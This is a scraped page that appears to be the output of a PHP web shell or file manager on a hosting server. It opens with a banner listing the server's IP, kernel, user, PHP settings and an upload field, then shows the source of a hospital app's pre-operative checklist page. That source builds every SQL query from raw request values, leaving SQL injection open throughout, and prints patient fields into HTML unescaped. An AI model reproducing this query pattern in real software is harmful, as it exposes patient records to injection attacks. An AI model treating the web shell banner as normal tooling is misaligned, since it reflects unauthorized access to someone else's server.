Server IP : 162.240.98.243 / Your IP : 3.142.250.203 Web Server : Apache System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : btiyawmy ( 1003) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/btiyawmy/www/login.easenup.in/ |
Upload File : |
<?php session_start(); require_once('../DBManager.php'); require_once('../LoginManager.php'); include "header.php"; include "dashboarddocument.php"; include('dbconnection.php'); if(isset($_POST['Confirmation_Sheet'])) { date_default_timezone_set("Asia/Calcutta"); //India time (GMT+5:30) $updated_at= date('d-m-Y H:i:s'); $sql ="UPDATE Confirmation_Sheet SET verify_pt_identity='$_POST[verify_pt_identity]',time_surgery='$_POST[time_surgery]',name_tag='$_POST[name_tag]',site_marked='$_POST[site_marked]',Operation_consent='$_POST[Operation_consent]',operative_assessment='$_POST[operative_assessment]',Medical_fitness='$_POST[Medical_fitness]',Last_meal='$_POST[Last_meal]',Bladder_voided='$_POST[Bladder_voided]',topical_antibiotics='$_POST[topical_antibiotics]',Lab_investigation='$_POST[Lab_investigation]',General_systematic='$_POST[General_systematic]',infection_present='$_POST[infection_present]',Xylocaine_sensitivity='$_POST[Xylocaine_sensitivity]',Hospital_dress='$_POST[Hospital_dress]',jewelry_removed='$_POST[jewelry_removed]',Dentures_removed='$_POST[Dentures_removed]',Hair_clips='$_POST[Hair_clips]',Allergy_noted='$_POST[Allergy_noted]',Operation_site_marked='$_POST[Operation_site_marked]',reports_checked='$_POST[reports_checked]',updated_at='$updated_at' WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND surgeryid='$_GET[surgeryid]'"; $sql1 ="UPDATE save_activity SET created_at='$_POST[created_at]',updated_at='$updated_at' WHERE prescriptionid='$_GET[prescriptionid]' AND userno='$_GET[patientid]' AND discription='Pre-Assessment Sheet<br>Routine Examination<br>Doc.no-'"; if($qsql = mysqli_query($con,$sql)) { if($qsql = mysqli_query($con,$sql1)) { echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>"; } }else { echo "Sorry, there was an error uploading your file."; } } ?> <div class='content-wrapper'> <!-- Content Header (Page header) --> <section class='content-header'> <!DOCTYPE html> <html lang='en'> <head> <meta charset='UTF-8'> <meta name='viewport' content='width=device-width, initial-scale=1'> <style> .center { border: 1px solid grey; text-align:; } </style> <style> .switch { position: relative; display: inline-block; width: 90px; height: 34px; } .switch input {display:none;} .slider { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background-color: #ca2222; -webkit-transition: .4s; transition: .4s; border-radius: 34px; } .slider:before { position: absolute; content: ""; height: 26px; width: 26px; left: 4px; bottom: 4px; background-color: white; -webkit-transition: .4s; transition: .4s; border-radius: 50%; } input:checked + .slider { background-color: #2ab934; } input:focus + .slider { box-shadow: 0 0 1px #2196F3; } input:checked + .slider:before { -webkit-transform: translateX(26px); -ms-transform: translateX(26px); transform: translateX(55px); } /*------ ADDED CSS ---------*/ .slider:after { content:'No'; color: white; display: block; position: absolute; transform: translate(-50%,-50%); top: 50%; left: 50%; font-size: 10px; font-family: Verdana, sans-serif; } input:checked + .slider:after { content:'Yes'; } .center { border: 1px solid grey; text-align:; } </style> </head> <?php $sql ="SELECT * FROM patient WHERE patientid='$_GET[patientid]'"; $qsql = mysqli_query($con,$sql); while($rs = mysqli_fetch_array($qsql)) { echo " <div class='center'> <table id='example2' class='table table-bordered table-hover' width='100%'> <h3 align='center'>PRE-OPERATIVE CHECKLIST AT OT <tr> <td width='50%'> Pt. Name: </td> <td width='50%'>$rs[patientname]</td> </tr> <tr> <td width='50%'> W/O,D/O,S/O. : </td> <td width='50%'>$rs[HusbandName]</td> </tr> <tr> <td width='50%'> DOB: </td> <td width='50%'>$rs[dob]</td> </tr> <tr> <td width='50%'> Sex : </td> <td width='50%'>$rs[gendor]</td> </tr> "; echo "</td></tr>"; } ?> <p> <form method="POST"> <table id='example2' class='table table-bordered table-hover'> <?php $sql ="SELECT * FROM Confirmation_Sheet WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'"; $qsql = mysqli_query($con,$sql); while($rs = mysqli_fetch_array($qsql)) { if($rs[verify_pt_identity]=='on') { echo" <tr><td width='50%'>Verify the identity of patient </td> <td width='50%'><label class='switch'> <input name='verify_pt_identity' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Verify the identity of patient </td> <td width='50%'><label class='switch'> <input name='verify_pt_identity' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[time_surgery]=='on') { echo" <tr><td width='50%'>Time of surgery verified </td> <td width='50%'><label class='switch'> <input name='time_surgery' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Time of surgery verified </td> <td width='50%'><label class='switch'> <input name='time_surgery' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[name_tag]=='on') { echo" <tr><td width='50%'>Name and tag in position & correct </td> <td width='50%'><label class='switch'> <input name='name_tag' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Name and tag in position & correct </td> <td width='50%'><label class='switch'> <input name='name_tag' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[site_marked]=='on') { echo" <tr><td width='50%'>Site Marked </td> <td width='50%'><label class='switch'> <input name='site_marked' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Site Marked </td> <td width='50%'><label class='switch'> <input name='site_marked' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[Operation_consent]=='on') { echo" <tr><td width='50%'>Operation consent form signed patient & relative present </td> <td width='50%'><label class='switch'> <input name='Operation_consent' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Operation consent form signed patient & relative present </td> <td width='50%'><label class='switch'> <input name='Operation_consent' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[operative_assessment]=='on') { echo" <tr><td width='50%'>Pre-operative assessment sheet checked </td> <td width='50%'><label class='switch'> <input name='operative_assessment' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Pre-operative assessment sheet checked </td> <td width='50%'><label class='switch'> <input name='operative_assessment' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[Medical_fitness]=='on') { echo" <tr><td width='50%'>Medical fitness</td> <td width='50%'><label class='switch'> <input name='Medical_fitness' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Medical fitness </td> <td width='50%'><label class='switch'> <input name='Medical_fitness' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[Last_meal]=='on') { echo" <tr><td width='50%'>Last meal & drink taken Known</td> <td width='50%'><label class='switch'> <input name='Last_meal' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Last meal & drink taken Known </td> <td width='50%'><label class='switch'> <input name='Last_meal' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[Bladder_voided]=='on') { echo" <tr><td width='50%'>Bladder voided</td> <td width='50%'><label class='switch'> <input name='Bladder_voided' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Bladder voided </td> <td width='50%'><label class='switch'> <input name='Bladder_voided' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[topical_antibiotics]=='on') { echo" <tr><td width='50%'>Pre-op topical antibiotics given </td> <td width='50%'><label class='switch'> <input name='topical_antibiotics' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Pre-op topical antibiotics given </td> <td width='50%'><label class='switch'> <input name='topical_antibiotics' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; }if($rs[Lab_investigation]=='on') { echo" <tr><td width='50%'>Lab investigation </td> <td width='50%'><label class='switch'> <input name='Lab_investigation' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Lab investigation </td> <td width='50%'><label class='switch'> <input name='Lab_investigation' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[General_systematic]=='on') { echo" <tr><td width='50%'>General systematic examination & op </td> <td width='50%'><label class='switch'> <input name='General_systematic' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>General systematic examination & op </td> <td width='50%'><label class='switch'> <input name='General_systematic' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[infection_present]=='on') { echo" <tr><td width='50%'>Checked Whether infection present in or around eye/face/body</td> <td width='50%'><label class='switch'> <input name='infection_present' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Checked Whether infection present in or around eye/face/body</td> <td width='50%'><label class='switch'> <input name='infection_present' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[Xylocaine_sensitivity]=='on') { echo" <tr><td width='50%'>Xylocaine sensitivity</td> <td width='50%'><label class='switch'> <input name='Xylocaine_sensitivity' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Xylocaine sensitivity</td> <td width='50%'><label class='switch'> <input name='Xylocaine_sensitivity' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[Hospital_dress]=='on') { echo" <tr><td width='50%'>Hospital dress</td> <td width='50%'><label class='switch'> <input name='Hospital_dress' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Hospital dress</td> <td width='50%'><label class='switch'> <input name='Hospital_dress' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[jewelry_removed]=='on') { echo" <tr><td width='50%'>Jewelry Removed</td> <td width='50%'><label class='switch'> <input name='jewelry_removed' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Jewelry Removed</td> <td width='50%'><label class='switch'> <input name='jewelry_removed' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[Dentures_removed]=='on') { echo" <tr><td width='50%'>Dentures Removed</td> <td width='50%'><label class='switch'> <input name='Dentures_removed' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Dentures Removed</td> <td width='50%'><label class='switch'> <input name='Dentures_removed' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[Hair_clips]=='on') { echo" <tr><td width='50%'>Hair clips eye makeup nail polish removed</td> <td width='50%'><label class='switch'> <input name='Hair_clips' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Hair clips eye makeup nail polish removed</td> <td width='50%'><label class='switch'> <input name='Hair_clips' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[Allergy_noted]=='on') { echo" <tr><td width='50%'>Allergy noted for paper</td> <td width='50%'><label class='switch'> <input name='Allergy_noted' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Allergy noted for paper</td> <td width='50%'><label class='switch'> <input name='Allergy_noted' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[Operation_site_marked]=='on') { echo" <tr><td width='50%'>Operation site marked</td> <td width='50%'><label class='switch'> <input name='Operation_site_marked' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>Operation site marked</td> <td width='50%'><label class='switch'> <input name='Operation_site_marked' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } if($rs[reports_checked]=='on') { echo" <tr><td width='50%'>All reports checked</td> <td width='50%'><label class='switch'> <input name='reports_checked' type='checkbox' checked> <span class='slider'></span> </label></td></tr> "; } else{ echo" <tr><td width='50%'>All reports checked</td> <td width='50%'><label class='switch'> <input name='reports_checked' type='checkbox'> <span class='slider'></span> </label></i></td></tr> "; } } ?> </table> <input type='submit' name='Confirmation_Sheet' value='Update'> </form> </div>